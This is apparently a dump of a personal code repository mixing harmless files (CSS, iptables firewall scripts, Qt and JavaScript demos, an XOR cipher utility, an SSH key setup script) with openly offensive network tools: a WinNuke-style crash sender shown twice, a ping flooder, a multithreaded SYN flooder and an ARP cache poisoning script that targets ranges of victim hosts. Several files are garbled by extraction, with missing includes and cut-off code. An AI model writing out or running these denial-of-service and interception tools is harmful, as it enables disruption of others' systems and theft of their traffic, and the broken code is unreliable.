22 | .CodeMirror-gutter-text {
23 | color: #aaa;
24 | text-align: right;
25 | padding: .4em .2em .4em .4em;
26 | }
27 | .CodeMirror-lines {
28 | padding: .4em;
29 | }
30 |
31 | .CodeMirror pre {
32 | -moz-border-radius: 0;
33 | -webkit-border-radius: 0;
34 | -o-border-radius: 0;
35 | border-radius: 0;
36 | border-width: 0; margin: 0; padding: 0; background: transparent;
37 | font-family: inherit;
38 | font-size: inherit;
39 | padding: 0; margin: 0;
40 | white-space: pre;
41 | word-wrap: normal;
42 | }
43 |
44 | .CodeMirror textarea {
45 | font-family: inherit !important;
46 | font-size: inherit !important;
47 | }
48 |
49 | .CodeMirror-cursor {
50 | z-index: 10;
51 | position: absolute;
52 | visibility: hidden;
53 | border-left: 1px solid black !important;
54 | }
55 | .CodeMirror-focused .CodeMirror-cursor {
56 | visibility: visible;
57 | }
58 |
59 | span.CodeMirror-selected {
60 | background: #ccc !important;
61 | color: HighlightText !important;
62 | }
63 | .CodeMirror-focused span.CodeMirror-selected {
64 | background: Highlight !important;
65 | }
66 |
67 | .CodeMirror-matchingbracket {color: #0f0 !important;}
68 | .CodeMirror-nonmatchingbracket {color: #f22 !important;}
69 |
--------------------------------------------------------------------------------
/qt/firewall/iptables/iptables.sh:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | ### BEGIN INIT INFO
3 | # Provides: wicd
4 | # Required-Start: dbus
5 | # Required-Stop:
6 | # Default-Start: 2 3 4 5
7 | # Default-Stop: 0 1 6
8 | # Short-Description: Starts and stops iptables
9 | # Description: Starts and stops iptables
10 | ### END INIT INFO
11 |
12 | # Author: CDN 10/12/09
13 | #
14 |
15 | IPTABLES="/sbin/iptables"
16 | IPTABLES_RESTORE="/sbin/iptables-restore"
17 |
18 | IPTABLES_LIST="$IPTABLES -v -L"
19 |
20 | HOME_FIREWALL="/etc/iptables/firewall-home.txt"
21 | PUBLIC_FIREWALL="/etc/iptables/firewall-public.txt"
22 |
23 | # default firewall - symbolic link to one of above files
24 | DEFAULT_FIREWALL="/etc/iptables/firewall-default.txt"
25 |
26 |
27 | # Flush any existing rules
28 | CLEAR_FIREWALL="$IPTABLES -F"
29 |
30 | case "$1" in
31 | start)
32 | echo "Start default firewall"
33 | $CLEAR_FIREWALL
34 | $IPTABLES_RESTORE < $DEFAULT_FIREWALL
35 | $IPTABLES_LIST
36 | ;;
37 |
38 | restart)
39 | echo "Restart default firewall"
40 | $CLEAR_FIREWALL
41 | $IPTABLES_RESTORE < $DEFAULT_FIREWALL
42 | $IPTABLES_LIST
43 | ;;
44 |
45 | home)
46 | echo "Start home network firewall"
47 | $CLEAR_FIREWALL
48 | $IPTABLES_RESTORE < $HOME_FIREWALL
49 | $IPTABLES_LIST
50 | ;;
51 |
52 | public)
53 | echo "Start public network firewall"
54 | $CLEAR_FIREWALL
55 | $IPTABLES_RESTORE < $PUBLIC_FIREWALL
56 | $IPTABLES_LIST
57 | ;;
58 |
59 | stop)
60 | $CLEAR_FIREWALL
61 | $IPTABLES_LIST
62 | echo "All firewall rules removed"
63 | ;;
64 |
65 | *)
66 | echo "Usage: $SCRIPTNAME {start|home|public|stop|restart}" >&2
67 | echo " Defaults to home firewall" >&2
68 | exit 1
69 | ;;
70 | esac
71 |
72 |
73 | exit 0
74 |
75 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/accelerometer/index.html:
--------------------------------------------------------------------------------
1 | Detect accelerometer support
2 |
3 |
32 |
33 |
34 | Support for accelerometer: No.
35 | Current acceleration: Unknown.
36 | User agent:
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/qt/firewall/iptables/firewall-home.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #######################
3 | #
4 | # CDN 10/12/2009
5 | #
6 | # firewall-laptop.sh
7 | #
8 | # Firewall rules for laptop when working
9 | # away from home
10 | #
11 | # Note: Must be run as root
12 | #
13 | #######################
14 |
15 | IPTABLES="sudo /sbin/iptables"
16 | IPTABLES_SAVE="sudo /sbin/iptables-save"
17 | TARGET="/etc/iptables/firewall-home.txt"
18 |
19 | # Flush any existing rules
20 | $IPTABLES -F
21 |
22 | # used to identify the firewall type
23 | $IPTABLES -X PUBLIC-NETWORK
24 | $IPTABLES -N HOME-NETWORK
25 |
26 |
27 | # Default Policies
28 | $IPTABLES -P INPUT DROP
29 | $IPTABLES -P FORWARD DROP
30 | $IPTABLES -P OUTPUT ACCEPT
31 |
32 | # Accept local host
33 | $IPTABLES -A INPUT -i lo --source 127.0.0.1 --destination 127.0.0.1 -j ACCEPT
34 |
35 |
36 | # Accept established connection packets
37 | $IPTABLES -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
38 |
39 | # Accept anything on local network
40 | $IPTABLES -A INPUT -s 192.168.1.0/24 -j ACCEPT
41 |
42 |
43 | # Accept HTTP and HTTPS
44 | $IPTABLES -A INPUT -p tcp --dport http -j ACCEPT
45 | $IPTABLES -A INPUT -p tcp --dport https -j ACCEPT
46 |
47 | # Accept ssh
48 | $IPTABLES -A INPUT -p tcp --dport ssh -j ACCEPT
49 |
50 | # Allow anything from bigbox based on mac address or ip
51 | # bigbox has two LAN Cards - this only works for hard wired ethernet connections
52 | # $IPTABLES -A INPUT mac --mac-source 00:10:dc:fe:1a:70 -j ACCEPT
53 | # $IPTABLES -A INPUT mac --mac-source 00:00:21:20:4a:31 -j ACCEPT
54 |
55 |
56 |
57 | # Allow limited number of pings
58 | $IPTABLES -A INPUT -p icmp -m limit --limit 1/second --limit-burst 5 -j ACCEPT
59 | $IPTABLES -A INPUT -p icmp -j DROP
60 |
61 | $IPTABLES_SAVE > $TARGET
62 |
63 | # List rules
64 | $IPTABLES -v -L
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
--------------------------------------------------------------------------------
/ofi-labs-x2/webkit/foldervis/foldervis.h:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2011 Ariya Hidayat
5 |
6 | This program is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU General Public License as
8 | published by the Free Software Foundation; either version 2 of
9 | the License, or (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | */
19 |
20 | #ifndef FOLDERVIS
21 | #define FOLDERVIS
22 |
23 | #include
24 | #include
25 |
26 | struct Entry {
27 | QString name;
28 | int size;
29 | QList children;
30 | };
31 |
32 | class Crawler: public QObject
33 | {
34 | Q_OBJECT
35 | Q_PROPERTY(QString tree READ tree)
36 |
37 | public:
38 | Crawler(QObject *parent);
39 | QString tree() const;
40 |
41 | public slots:
42 | void start(const QString &dir);
43 |
44 | signals:
45 | void progress(int count);
46 | void finished();
47 |
48 | private:
49 | QString m_dir;
50 | int m_count;
51 | Entry m_rootEntry;
52 |
53 | protected:
54 | Entry search(const QString &dir);
55 | };
56 |
57 | class Visualizer: public QWebView
58 | {
59 | Q_OBJECT
60 |
61 | public:
62 | Visualizer(const QString &dir);
63 |
64 | private slots:
65 | void setup();
66 |
67 | private:
68 | QString m_dir;
69 | Crawler *m_crawler;
70 | };
71 |
72 | #endif
73 |
--------------------------------------------------------------------------------
/python/teh1337/sharada.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # Operation Sharada Sharada
4 | # By James Penguin (jamespenguin@gmail.com)
5 | #
6 | import urllib2, os, BeautifulSoup
7 |
8 | ###
9 | # Global Config
10 | ###
11 | base_url = "http://www.samair.ru/proxy/type-%s.htm"
12 |
13 | ### End Global Config ###
14 |
15 | def determine_total_pages():
16 | global base_url
17 | url = base_url % "01"
18 | page = urllib2.urlopen(url).read()
19 | return int(page.split("total pages:")[1].split(",")[0].strip())
20 |
21 | def retrieve_proxies(page_number):
22 | global base_url
23 | page_number = "%02d" % page_number
24 | url = base_url % page_number
25 | page = urllib2.urlopen(url).read()
26 | soup = BeautifulSoup.BeautifulSoup(page)
27 | proxies = []
28 | for table in soup.findAll("table"):
29 | for row in table.findAll("td"):
30 | row = str(row.string)
31 | if not "." in row or ":" not in row:
32 | continue
33 | proxies.append(row)
34 | return proxies
35 |
36 | def export(proxies):
37 | proxy_file = open("proxies.txt", "a")
38 | for proxy in proxies:
39 | proxy_file.write("%s\n" % proxy)
40 | proxy_file.close()
41 |
42 | if __name__ == "__main__":
43 | try:
44 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
45 | opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
46 | urllib2.install_opener(opener)
47 | open("proxies.txt", "w").close() # prep a file for writing proxies
48 | total = determine_total_pages()
49 | for page_number in range(total):
50 | page_number += 1
51 | print "[+] Retrieving proxies from page %d of %d" % (page_number, total)
52 | export(retrieve_proxies(page_number))
53 | except KeyboardInterrupt:
54 | print
55 |
--------------------------------------------------------------------------------
/ofi-labs-x2/graphics/shadowblur/shadowblur.h:
--------------------------------------------------------------------------------
1 | /*
2 | This file is part of the Ofi Labs X2 project.
3 |
4 | Copyright (C) 2010 Ariya Hidayat
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright
10 | notice, this list of conditions and the following disclaimer.
11 | * Redistributions in binary form must reproduce the above copyright
12 | notice, this list of conditions and the following disclaimer in the
13 | documentation and/or other materials provided with the distribution.
14 | * Neither the name of the nor the
15 | names of its contributors may be used to endorse or promote products
16 | derived from this software without specific prior written permission.
17 |
18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 | ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY
22 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
25 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
27 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
28 | */
29 |
30 | #ifndef OFILABS_SHADOWBLUR
31 | #define OFILABS_SHADOWBLUR
32 |
33 | #include
34 |
35 | void shadowBlur(QImage& image, int radius, const QColor& color);
36 |
37 | #endif
38 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/marblebox/index.html:
--------------------------------------------------------------------------------
1 | Box of Marbles
2 |
3 |
4 |
64 |
65 |
66 | Box of Marbles (by Ariya Hidayat)
67 |
68 |
69 |
70 |
71 | 
Tap to add some marbles!
72 |
73 |
74 |
--------------------------------------------------------------------------------
/exploits_denial/killwin.c:
--------------------------------------------------------------------------------
1 | /* killwin.c - winnuke idea, modifcation for me ONLY - napster */
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | int x, y, sockdesc, port = 139, hits = 1;
12 | char *target, *str = "Later.";
13 |
14 | void parse_args(int argc, char *argv[]);
15 |
16 | void usage(char *progname) {
17 | printf("Usage: %s [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
18 | exit(-1);
19 | }
20 |
21 | void parse_args(int argc, char *argv[]) {
22 | target = argv[1];
23 | if (argv[1][0] == '-') {
24 | printf("Must specify a target.\n");
25 | exit(-1);
26 | }
27 | for(y=2;yh_addr, he->h_length);
49 | } else {
50 | perror("Resolving");
51 | }
52 |
53 | sockdesc = socket(AF_INET, SOCK_STREAM, 0);
54 |
55 | if (sockdesc < 0) {
56 | perror("socket");
57 | exit(-1);
58 | }
59 |
60 | if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
61 | perror("connect");
62 | close(sockdesc);
63 | exit(-1);
64 | }
65 |
66 | printf("Connected to [%s:%d].\n", target, port);
67 | printf("Sending crash %d times...\n", hits);
68 |
69 | for (x=0;x"
49 | bars += " " * (bar_width - len(bars))
50 | line = "[%s] %s (%d%%)" % (bars, piece, percent)
51 | return line
52 |
53 | if __name__ == "__main__":
54 | import sys, time
55 | # generate a bar with a maximum count of 500
56 | p = progressBar(500)
57 | for i in range(500):
58 | bar = p.get_bar(i + 1) # update the progress bar with the current count
59 | sys.stdout.write("\r%s" % bar)
60 | sys.stdout.flush()
61 | time.sleep(.1)
62 | print
63 |
--------------------------------------------------------------------------------
/exploits_denial/microsoft/killwin.c:
--------------------------------------------------------------------------------
1 | /* killwin.c - winnuke idea, modifcation for me ONLY - napster */
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | int x, y, sockdesc, port = 139, hits = 1;
12 | char *target, *str = "Later.";
13 |
14 | void parse_args(int argc, char *argv[]);
15 |
16 | void usage(char *progname) {
17 | printf("Usage: %s [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
18 | exit(-1);
19 | }
20 |
21 | void parse_args(int argc, char *argv[]) {
22 | target = argv[1];
23 | if (argv[1][0] == '-') {
24 | printf("Must specify a target.\n");
25 | exit(-1);
26 | }
27 | for(y=2;yh_addr, he->h_length);
49 | } else {
50 | perror("Resolving");
51 | }
52 |
53 | sockdesc = socket(AF_INET, SOCK_STREAM, 0);
54 |
55 | if (sockdesc < 0) {
56 | perror("socket");
57 | exit(-1);
58 | }
59 |
60 | if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
61 | perror("connect");
62 | close(sockdesc);
63 | exit(-1);
64 | }
65 |
66 | printf("Connected to [%s:%d].\n", target, port);
67 | printf("Sending crash %d times...\n", hits);
68 |
69 | for (x=0;x> ~/authorized_keys
56 |
57 | echo " "
58 | echo "TYPE PASSWORD FOR YOUR REMOTE ACCOUNT WHEN ASKED"
59 | echo " "
60 |
61 | echo "------------------------------"
62 |
63 | # Uploads keys to ixtab and sets safe permissions
64 | scp ~/authorized_keys $USERNAME@$SERVER:
65 | ssh $USERNAME@$SERVER << ENDSSH
66 | mkdir -p ~/.ssh
67 | touch ~/authorized_keys
68 | cat ~/authorized_keys >> ~/.ssh/authorized_keys
69 | rm ~/authorized_keys
70 | chmod 700 ./.ssh/authorized_keys
71 | ENDSSH
72 |
73 | echo "------------------------------"
74 |
75 | if [ $? == 0 ]
76 | then
77 | echo " "
78 | echo "Key-login configured!"
79 | echo " "
80 | else
81 | echo " "
82 | echo "Key-login configuration FAILED!"
83 | echo " "
84 | fi
85 |
86 | # Removes temporary file
87 | rm ~/authorized_keys
88 |
89 | exit
90 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/underwater/index.html:
--------------------------------------------------------------------------------
1 | Underwater effect with Canvas
2 |
3 |
12 |
13 |
35 |
36 |
37 | Underwater Effect with HTML5 Canvas
38 | Loading... Please wait.
39 |
41 |
42 |
58 |
59 |
60 |
--------------------------------------------------------------------------------
/python/teh1337/poisonARP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import scapy, sys, time, threading
3 |
4 | def ip_iterate(start, end):
5 | start = map(int,start.split("."))
6 | end = map(int,end.split("."))
7 | ips = []
8 | while start != end:
9 | ips.append(".".join(map(str,start)))
10 | start[3] += 1
11 | if start[3] > 254:
12 | start[3] = 1
13 | start[2] += 1
14 | for i in range(2,-1,-1):
15 | if start[i] > 255:
16 | start[i] = 0
17 | start[i-1] += 1
18 | ips.append(".".join(map(str,end)))
19 | return ips
20 |
21 | class poisonARP(threading.Thread):
22 | def __init__(self,ip):
23 | threading.Thread.__init__(self)
24 | self.ip = ip
25 | def run(self):
26 | a = scapy.ARP()
27 | a.psrc = sys.argv[1]
28 | a.pdst = self.ip
29 | scapy.send(a)
30 | print "[+] Poisoned entry %s for host %s" % (sys.argv[1],self.ip)
31 |
32 |
33 | if __name__ == "__main__":
34 | thread_limit = 100
35 | scapy.conf.verb = 0
36 |
37 | if len(sys.argv) < 3:
38 | print "Usage: %s Router-IP Victim-IP [End-Range-IP]\n- Examples -" % sys.argv[0]
39 | print "For a single host:"
40 | print "\t%s 192.168.1.1 192.168.1.235" % sys.argv[0]
41 | print "For a range of hosts:"
42 | print "\t%s 192.168.1.1 192.168.2 192.168.254" % sys.argv[0]
43 | sys.exit(0)
44 | if len(sys.argv) == 3: end = sys.argv[2]
45 | else: end = sys.argv[3]
46 |
47 | ips = ip_iterate(sys.argv[2],end)
48 | while True:
49 | for ip in ips:
50 | while threading.activeCount() > thread_limit: pass
51 | poisonARP(ip).start()
52 | time.sleep(90)
53 |
--------------------------------------------------------------------------------
/cpp/constexpr-string/2.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // helper function
4 | constexpr unsigned c_strlen( char const* str, unsigned count = 0 )
5 | {
6 | return ('\0' == str[0]) ? count : c_strlen(str+1, count+1);
7 | }
8 |
9 | // helper "function" struct
10 | template < char t_c, char... tt_c >
11 | struct rec_print
12 | {
13 | static void print()
14 | {
15 | std::cout << t_c;
16 | rec_print < tt_c... > :: print ();
17 | }
18 | };
19 | template < char t_c >
20 | struct rec_print < t_c >
21 | {
22 | static void print() { std::cout << t_c; }
23 | };
24 |
25 |
26 | // destination "template string" type
27 | template < char... tt_c >
28 | struct exploded_string
29 | {
30 | static void print()
31 | {
32 | rec_print < tt_c... > :: print();
33 | }
34 | };
35 |
36 | // struct to explode a `char const*` to an `exploded_string` type
37 | template < typename T_StrProvider, unsigned t_len, char... tt_c >
38 | struct explode_impl
39 | {
40 | using result =
41 | typename explode_impl < T_StrProvider, t_len-1,
42 | T_StrProvider::str()[t_len-1],
43 | tt_c... > :: result;
44 | };
45 |
46 | template < typename T_StrProvider, char... tt_c >
47 | struct explode_impl < T_StrProvider, 0, tt_c... >
48 | {
49 | using result = exploded_string < tt_c... >;
50 | };
51 |
52 | // syntactical sugar
53 | template < typename T_StrProvider >
54 | using explode =
55 | typename explode_impl < T_StrProvider,
56 | c_strlen(T_StrProvider::str()) > :: result;
57 |
58 |
59 | int main()
60 | {
61 | // the trick is to introduce a type which provides the string, rather than
62 | // storing the string itself
63 | struct my_str_provider
64 | {
65 | constexpr static char const* str() { return "hello world"; }
66 | };
67 |
68 | auto my_str = explode < my_str_provider >{}; // as a variable
69 | using My_Str = explode < my_str_provider >; // as a type
70 |
71 | str.print();
72 | }
73 |
--------------------------------------------------------------------------------
/etc/nflogd/NOTES:
--------------------------------------------------------------------------------
1 |
2 | SAMPLE SETUP:
3 | iptables -A INPUT .... -j NFLOG --nflog-group=1
4 | nflogd --channel 1
5 |
6 | now nflogd will get packets from iptables and log.
7 |
8 |
9 | PCAP:
10 |
11 | nflogd have ability to write a pcap file
12 | with packets it get.
13 |
14 | #nflogd --channel 1 --pcap d1.pcap
15 |
16 | ethernet header is reconstructed in form:
17 | destination: FACE out-dev
18 | source: FACE in-dev
19 |
20 | say fa:ce:02:00:00:00 - mean 2'nd interface
21 |
22 | timestamp not always available,
23 | so it can be 0
24 |
25 |
26 | ROTATE LOG/PCAP FILES:
27 | HUP signal cause to reopen log(if daemon) and pcap files.
28 |
29 | so, you should `mv` files first
30 | and `kill -HUP` second.
31 | btw, be careful, if you run nflogd as user, check if this user can write/create logfile
32 |
33 | DAEMON MODE:
34 | if run with `--daemon logfile.txt` - nflogd will run in daemon mode
35 | and logs to file (not a stdout).
36 |
37 | error messages can be lost - you must redirect stderr
38 | to file or pipe.
39 |
40 |
41 |
42 | PERFORMANCE:
43 | i not expect nflog to be a high performance.
44 |
45 | it used to collect some packets at my home laptop
46 | (don't like to trash dmesg with -j LOG target)
47 |
48 |
49 | SAMPLE LOG:
50 | TS indev outdev iplen src dest proto sport dport
51 | 0.0 2 0 48 77.37.234.10 192.168.4.2 UDP 24468 44881
52 | 0.0 2 0 55 87.117.182.68 192.168.4.2 TCP 9939 6236
53 | 0.0 2 0 67 87.117.182.68 192.168.4.2 TCP 9939 6236
54 | 0.0 2 0 55 94.181.37.208 192.168.4.2 TCP 5796 25883
55 | 0.0 2 0 63 94.181.37.208 192.168.4.2 TCP 5796 25883
56 | 0.0 2 0 52 87.117.182.68 192.168.4.2 TCP 9939 6236
57 | 0.0 2 0 52 94.181.37.208 192.168.4.2 TCP 5796 25883
58 |
59 | *for ICMP `type` and `code` is logged
60 | *iplen is a length of ip packet including header
61 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/devicemotion/index.js:
--------------------------------------------------------------------------------
1 | Ext.setup({
2 |
3 | onReady : function() {
4 | this.ui = new Ext.Panel({
5 | scroll: 'vertical',
6 | fullscreen: true,
7 | layout: 'fit',
8 | items: [{
9 | xtype: 'form',
10 | scroll: 'vertical',
11 | items: [{
12 | xtype: 'fieldset',
13 | title: 'Device Motion Data',
14 | items: [{
15 | xtype: 'sliderfield',
16 | label: 'X',
17 | id: 'X',
18 | disabled: true,
19 | minValue: -100,
20 | maxValue: 100
21 | }, {
22 | xtype: 'sliderfield',
23 | label: 'Y',
24 | id: 'Y',
25 | disabled: true,
26 | minValue: -100,
27 | maxValue: 100
28 | }, {
29 | xtype: 'sliderfield',
30 | label: 'Z',
31 | id: 'Z',
32 | disabled: true,
33 | minValue: -100,
34 | maxValue: 100
35 | }]
36 | }]
37 | }]
38 | });
39 |
40 | this.ui.doComponentLayout();
41 |
42 | if (!Ext.supports.DeviceMotion) {
43 | setTimeout(function() {
44 | Ext.Msg.alert('Not available', 'You need iOS 4.2 device with acceleration API.');
45 | }, 200);
46 | } else {
47 | var acc;
48 |
49 | window.ondevicemotion = function(e) {
50 | acc = e.accelerationIncludingGravity;
51 | }
52 |
53 | window.setInterval(function() {
54 | Ext.getCmp('X').setValue(Math.round(10 * acc.x), 200);
55 | Ext.getCmp('Y').setValue(Math.round(10 * acc.y), 200);
56 | Ext.getCmp('Z').setValue(Math.round(10 * acc.z), 200);
57 | }, 200);
58 | }
59 | }
60 | });
61 |
--------------------------------------------------------------------------------
/exploits_denial/pingflood.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 |
4 |
5 | pingflood.c by (AntireZ) Salvatore Sanfilippo
6 | enhanced by David Welton
7 | I tested it only on Linux RedHat 4.1 and 5.0.
8 | David Welton tested it on Debian GNU/Linux and OpenBSD reporting
9 | it works.
10 |
11 |
12 | This program is free software; you can redistribute it and/or modify
13 | it under the terms of the GNU General Public License as published by
14 | the Free Software Foundation; version 2 of the License.
15 |
16 |
17 | -------------------------------------------------------------------------
18 |
19 | pingflood.c allows non-root users to 'ping flood'.
20 |
21 | use it as follows:
22 |
23 | pingflood
24 |
25 | WARNING: this program is only for demonstrative use only. USE IT AT
26 | YOUR
27 | OWN RISK! The authors decline all responsibility for
28 | damage caused by misuse of the program.
29 |
30 | *** if you use this program to cause harm to others, you are very
31 | small, petty and pathetic. ***
32 |
33 | to compile: gcc -o pingflood pingflood.c
34 |
35 |
36 | -------------------------------------------------------------------------
37 |
38 | TECHNICAL NOTES
39 |
40 | When ping runs it normally sends an ICMP ECHO_REQUEST every second.
41 | It accomplishes this using the alarm system call and waiting for a
42 | SIGALRM
43 | signal
44 | from the kernel.
45 | Pingflood simply sends a lot of SIGALRM signals to the ping process.
46 | It can
47 | do this because the ping process is owned by the user.
48 |
49 |
50 | Salvatore Sanfilippo
51 |
52 | */
53 |
54 | #include
55 |
56 | #define PING "/bin/ping"
57 |
58 | main( int argc, char *argv[] )
59 | {
60 | int pid_ping;
61 |
62 | if (argc < 2) {
63 | printf("use: %s \n", argv[0]);
64 | exit(0);
65 | }
66 |
67 | if(!(pid_ping = fork()))
68 | execl(PING, "ping", argv[1], NULL);
69 |
70 | if ( pid_ping <=0 ) {
71 | printf("pid <= 0\n");
72 | exit(1);
73 | }
74 |
75 | sleep (1); /* give it a second to start going */
76 | while (1)
77 | if ( kill(pid_ping, SIGALRM) )
78 | exit(1);
79 | }
80 |
81 |
--------------------------------------------------------------------------------
/python/teh1337/synflood.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #########################################
3 | #
4 | # SYNflood.py - A multithreaded SYN Flooder
5 | # By Brandon Smith
6 | # brandon.smith@studiobebop.net
7 | #
8 | # This script is a demonstration of a SYN/ACK 3 Way Handshake Attack
9 | # as discussed by Halla of Information Leak
10 | #
11 | #########################################
12 | import socket
13 | import random
14 | import sys
15 | import threading
16 | #import scapy # Uncomment this if you're planning to use Scapy
17 |
18 | ###
19 | # Global Config
20 | ###
21 |
22 | interface = None
23 | target = None
24 | port = None
25 | thread_limit = 200
26 | total = 0
27 |
28 | #!# End Global Config #!#
29 |
30 | class sendSYN(threading.Thread):
31 | global target, port
32 | def __init__(self):
33 | threading.Thread.__init__(self)
34 |
35 | def run(self):
36 | # There are two different ways you can go about pulling this off.
37 | # You can either:
38 | # - 1. Just open a socket to your target on any old port
39 | # - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated!
40 | #
41 | # (Uncomment whichever method you'd like to use)
42 |
43 | # Method 1 -
44 | # s = socket.socket()
45 | # s.connect((target,port))
46 |
47 | # Methods 2 -
48 | # i = scapy.IP()
49 | # i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
50 | # i.dst = target
51 |
52 | # t = scapy.TCP()
53 | # t.sport = random.randint(1,65535)
54 | # t.dport = port
55 | # t.flags = 'S'
56 |
57 | # scapy.send(i/t, verbose=0)
58 |
59 | if __name__ == "__main__":
60 | # Make sure we have all the arguments we need
61 | if len(sys.argv) != 4:
62 | print "Usage: %s " % sys.argv[0]
63 | exit()
64 |
65 | # Prepare our variables
66 | interface = sys.argv[1]
67 | target = sys.argv[2]
68 | port = int(sys.argv[3])
69 | # scapy.conf.iface = interface # Uncomment this if you're going to use Scapy
70 |
71 | # Hop to it!
72 | print "Flooding %s:%i with SYN packets." % (target, port)
73 | while True:
74 | if threading.activeCount() < thread_limit:
75 | sendSYN().start()
76 | total += 1
77 | sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)
78 |
--------------------------------------------------------------------------------
/cpp/xor_cipher/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | //#include
5 |
6 | #include "xorcipher.h"
7 |
8 | void usage(const char *cmd)
9 | {
10 | fprintf(stderr, "Usage: %s []\n", cmd);
11 |
12 | exit(1);
13 | }
14 |
15 | int main(int argc, char *argv[])
16 | {
17 | char *infname;
18 | char *outfname;
19 | //const unsigned char *key;
20 | const unsigned char key[100] = {0};
21 | FILE *infp, *outfp;
22 | const int buffer_size = 1024*1024;
23 | char *inbuffer;
24 | char *outbuffer;
25 | int numr,numw;
26 |
27 | if(argc<2) usage(argv[0]);
28 | infname = argv[1];
29 |
30 | if(!(infp=fopen(infname, "rb")))
31 | {
32 | fprintf(stderr, "ERROR: fopen(%s)\n", argv[1]);
33 | exit(1);
34 | }
35 |
36 | if(argc>2) outfname=argv[2];
37 | else
38 | {
39 | if(!(outfname=(char*)malloc(strlen(infname)+5)))
40 | {
41 | fprintf(stderr, "ERROR: malloc failed\n");
42 | exit(1);
43 | }
44 | strcpy(outfname, argv[1]);
45 | strcat(outfname, ".xor");
46 | }
47 |
48 | if(!(outfp=fopen(outfname, "wb")))
49 | {
50 | fprintf(stderr, "ERROR: fopen(%s)\n", outfname);
51 | exit(1);
52 | }
53 |
54 | //key = (const unsigned char*)getpass("Please enter a key: ");
55 | printf("Please enter a key: ");
56 | scanf("%s", key);
57 |
58 | inbuffer = (char*)malloc(buffer_size);
59 | if(!inbuffer)
60 | {
61 | fprintf(stderr, "ERROR: buffer malloc failed\n");
62 | exit(1);
63 | }
64 |
65 | outbuffer = (char*)malloc(buffer_size);
66 | if(!outbuffer)
67 | {
68 | fprintf(stderr, "ERROR: buffer malloc failed\n");
69 | exit(1);
70 | }
71 |
72 | while(!feof(infp))
73 | {
74 | numr=fread(inbuffer,1,buffer_size,infp);
75 | if(numr!=buffer_size)
76 | {
77 | if(ferror(infp)!=0)
78 | {
79 | fprintf(stderr,"read file error.\n");
80 | exit(1);
81 | }
82 | else if(feof(infp)!=0);
83 | }
84 |
85 | xorcipher(key, inbuffer, outbuffer, numr);
86 |
87 | numw=fwrite(outbuffer,1,numr,outfp);
88 | if(numw!=numr)
89 | {
90 | fprintf(stderr,"write file error.\n");
91 | exit(1);
92 | }
93 | }
94 |
95 | fclose(outfp);
96 | fclose(infp);
97 |
98 | free(inbuffer);
99 | free(outbuffer);
100 | if(argc<3) free(outfname);
101 |
102 | return 0;
103 | }
104 |
--------------------------------------------------------------------------------
/ofi-labs-x2/javascript/deviceorientation/index.js:
--------------------------------------------------------------------------------
1 | Ext.setup({
2 |
3 | onReady : function() {
4 | this.ui = new Ext.Panel({
5 | scroll: 'vertical',
6 | fullscreen: true,
7 | layout: 'fit',
8 | items: [{
9 | xtype: 'form',
10 | scroll: 'vertical',
11 | items: [{
12 | xtype: 'fieldset',
13 | title: 'Device Orientation Data',
14 | items: [{
15 | xtype: 'sliderfield',
16 | label: 'Alpha',
17 | id: 'Alpha',
18 | disabled: true,
19 | minValue: -180,
20 | maxValue: 180
21 | }, {
22 | xtype: 'sliderfield',
